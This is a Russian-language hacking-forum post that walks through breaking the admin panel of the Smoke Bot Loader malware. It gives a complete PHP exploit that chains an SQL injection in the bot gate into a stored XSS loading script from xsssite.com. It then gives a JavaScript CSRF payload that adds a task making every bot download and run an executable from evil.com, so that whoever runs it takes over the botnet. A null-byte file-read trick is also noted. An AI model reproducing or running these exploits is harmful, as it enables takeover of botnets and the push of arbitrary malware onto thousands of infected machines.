Уважаемые пользователи форума, убедительно просим вас переходить в телеграмм продавца, исключительно по предоставленной ссылке. Проверяйте продавца, отправив сообщение на электронную почту, чтобы убедиться в том, что вы общаетесь действительно с ним.

NSmoke Bot — Уводим ботов за пару затяжек [2016]

Тема в разделе "Хакинг. Программирование", создана пользователем TEXHO, 18 янв 2018.

  1. TEXHO

    TEXHO Member

    Сообщения:
    141
    Симпатии:
    0
    [​IMG]

    Добрый день, дамы и господа, сегодня мы будем ломать Smoke Bot Loader. Продукт весьма популярный и на рынке уже достаточно длительное время, и, как мне кажется, от этого будет только интереснее...


    Затяжка первая. SQL-injection и Активная XSS.

    В первую очередь, был изучен гейт. Насколько я понял, автор подразумевал, что раз данные, поступающие в админку от бота, будут зашифрованы с помощью rc4, то можно и опустить некоторые проверки. И зря.

    После недолгих поисков был найден уязвимый к SQL-инъекции код:

    Code:
    //Данные из $bot[BOT_PRIVIL] никак не фильтруются
    $privs=$bot[BOT_PRIVIL];
    // И чуть ниже
    mysql_query(UPDATE bots SET ip=.$ip.,time=.$time.,seller=.$sel.,privs=.$privs. WHERE cname=.$login.);​

    В свою очередь, данные из колонки cname при выводе в админке никак не фильтровались, а это означало, что можно было объединить SQL-инъекцию и XSS.

    Код эксплоита (2 запроса в гейт и активная XSS уже в панели):

    Code:
    <?php
    function rc4($key, $str) {
    $s = array();
    for ($i = 0; $i < 256; $i++) {
    $s[$i] = $i;
    }
    $j = 0;
    for ($i = 0; $i < 256; $i++) {
    $j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256;
    $x = $s[$i];
    $s[$i] = $s[$j];
    $s[$j] = $x;
    }
    $i = 0;
    $j = 0;
    $res = ;
    for ($y = 0; $y < strlen($str); $y++) {
    $i = ($i + 1) % 256;
    $j = ($j + $s[$i]) % 256;
    $x = $s[$i];
    $s[$i] = $s[$j];
    $s[$j] = $x;
    $res .= $str[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]);
    }
    return $res;
    }

    function send_data($gate_url, $payload){
    $opts = array(http =>
    array(
    method => POST,
    header => Content-type: application/x-www-form-urlencoded,
    content => $payload
    )
    );
    $context = stream_context_create($opts);
    $result = file_get_contents($gate_url, false, $context);
    }

    /*===============================
    Config
    ===============================*/
    $gate_url = http://smoke.loc/index.php;

    /*===============================
    First Request
    ===============================*/

    $key = 1234;
    $data[] = 2015; //bot_magic
    $data[] = 1234567890345303020340340320333433323453; // id
    $data[] = selle; // aff id
    $data[] = 0; // winver
    $data[] = 0; // winbit
    $data[] = 0; // privs
    $data[] = 10001; // cmd
    $data[] = 0; // opt
    $data[] = 0; // res

    $data = implode(#,$data);
    $data = RC4($key, $data);
    $payload = $key.$data;
    send_data($gate_url, $payload);

    echo [+] First request done
    ;
    unset($data);

    /*===============================
    Second Request
    ===============================*/

    $data[] = 2015;
    $data[] = 1234567890345303020340340320333433323453;
    $data[] = selle;
    $data[] = 0;
    $data[] = 0;
    // SQL-inject через $bot[BOT_PRIVIL], cname должен быть равен 40 символам!
    $data[] = 0, cname=<script src=//xsssite.com/12></script> where id=1 -- ;
    $data[] = 10001;
    $data[] = 0;
    $data[] = 0;

    $data = implode(#,$data);
    $data = RC4($key, $data);
    $payload = $key.$data;
    send_data($gate_url, $payload);

    echo [+] Second request done
    ;
    echo [+] XSS injected!
    ;​

    Размещаем на подконтрольном ресурсе файл с именем 12 (можно варьировать длину файла, главное чтобы длина строки, идущей в cname была 40 символов) и содержащий внутри банальный код:

    alert(xss);
    И результат:

    [​IMG]

    Теперь, попробуем получить хоть-какой то профит.

    Затяжка вторая. CSRF и угон ботов.

    К сожалению для входа использовалась basic-авторизация, и поэтому просто угнать куки и зайти под админом не получилось бы (XST - редкость, файл с phpinfo и прочие подобные - тоже не всегда получается найти). Поэтому, для того, чтобы получить хоть какой-то профит с найденной нами уязвимости, мы попробуем угнать в̶о̶д̶о̶к̶а̶ч̶к̶у̶ пачку ботов. Обновим наш файл 12:

    Code:
    var link_to_my_exe = http://evil.com/my.exe;

    var http = new XMLHttpRequest();
    var params = geo=ALL&seller=0&limit=0&start=0&bits=0&comment=no_comment&delafter=1&url=+link_to_my_exe;

    http.open(POST, window.location.pathname+?page=exe, true);
    http.setRequestHeader(Content-type, application/x-www-form-urlencoded);
    http.send(encodeURI(params));​

    Теперь, после посещения админом страницы с ботами, в задания добавится новый таск:

    [​IMG]

    Боты грузят наш exe, а после его запуска смоке-бот самоудаляется - гениальная комбинация, блестяще проведенная до конца! И все что нужно знать для атаки - это только адрес до гейта.

    Окурки и пепел.

    К слову, поле comment в разделе tasks тоже уязвимо для XSS. И хотя я и не смотрел специально код, который относится к модулям (стилер, формграббер, ддос и т.д.), но все равно успел между делом найти парочку XSS (например, в части относящейся к ddos).

    Ну а если версия пыха на серваке совсем старая, то можно и конфиг прочитать:


    Код который позволяет это сделать:

    Code:
    //control.php
    if ($act == dwnlog && !empty($fileid)) {
    getlog($fileid..txt);
    header(Location: .$referrer);
    exit;
    }

    //funcs.php
    function getlog($file)
    {
    if(file_exists(./data/.$file))
    {
    header(Cache-Control: no-cache);
    header(Content-Disposition: attachment; filename=.$file);
    header(Content-Type: text/plain);
    header(Content-Transfer-Encoding: binary);
    header(Content-Length: .filesize(./data/.$file));
    readfile(./data/.$file);
    exit;
    }
    else exit;
    }​

    Но это стоит рассматривать всерьез, только если у вас есть машина времени, и можно вернутся в то золотое время, когда нуллбайт не был редкостью.

    Fin.

    Как вы могли увидеть (если, конечно, действительно читали текст, написанный выше), даже продукты, которые находятся в продаже аж с 2011 года могут быть уязвимы. А это значит, что нельзя доверять никому. Остается только смириться с тем, что вам суждено жить в мире назойливого маркетинга, фальшивых друзей и пустых обещаний. Вокруг ложь и обман, Бог давно умер, а все мы - лишь бессмысленная материя, миллиарды лет назад сотканная из сверхновых звезд, которая в итоге навсегда исчезнет в многочисленных черных дырах, которые будут расти до тех пор, пока не поглотят все сущее в этой вселенной, а затем медленно растворятся, испуская пучки фотонов. И не останется ничего.

    И даже тот факт, что у вас увели всех ботов будет уже не так важен.
    Подумаешь. Боты какие-то, блядь.

    © Lebron

Поделиться этой страницей